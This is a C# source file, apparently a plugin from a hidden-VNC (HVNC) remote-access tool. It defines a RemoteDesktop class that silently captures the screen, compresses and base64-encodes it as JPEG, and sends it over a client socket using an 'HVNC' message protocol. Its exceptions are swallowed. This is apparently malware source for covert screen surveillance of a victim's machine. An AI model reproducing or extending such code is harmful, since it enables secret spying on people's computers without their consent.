Files

59 lines
1.9 KiB
C#
Raw Permalink Normal View History

2026-08-27 11:22:34 -06:00
using System;
using System.IO;
using System.Drawing;
using System.Drawing.Imaging;
using Microsoft.VisualBasic.CompilerServices;
using VNC;
using static HVNC.Plugin;
public class RemoteDesktop
{
public static ImageCodecInfo GetEncoderInfo(string M)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int arg_0B_0 = 0;
int num = imageEncoders.Length;
for (int i = arg_0B_0; i <= num; i++)
{
if (Operators.CompareString(imageEncoders[i].MimeType, M, false) == 0)
return imageEncoders[i];
}
return null/* TODO Change to default(_) if this is not a reference type */;
}
public static void Capture(int Q,Double Size)
{
Bitmap bitmap = null;
bitmap = HelperScreen.GetScreen(Helper.ScreenX, Helper.ScreenY);
Bitmap bitmap2 = new Bitmap(bitmap, (int)Math.Round((double)Helper.ScreenX * Size), (int)Math.Round((double)Helper.ScreenY * Size));
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, System.Convert.ToInt64(Q));
ImageCodecInfo encoderInfo = GetEncoderInfo("image/jpeg");
EncoderParameters encoderParameters = new EncoderParameters(1);
encoderParameters.Param[0] = encoderParameter;
try
{
lock (ClientSocket.S)
{
using (MemoryStream MS = new MemoryStream())
{
bitmap2.Save(MS, encoderInfo, encoderParameters);
ClientSocket.Send("HVNC" + Settings.SPL + Settings.IDD + Settings.SPL + Convert.ToBase64String(Helper.Compress(MS.ToArray())));
}
}
}
catch (Exception ex)
{
}
GC.Collect();
}
}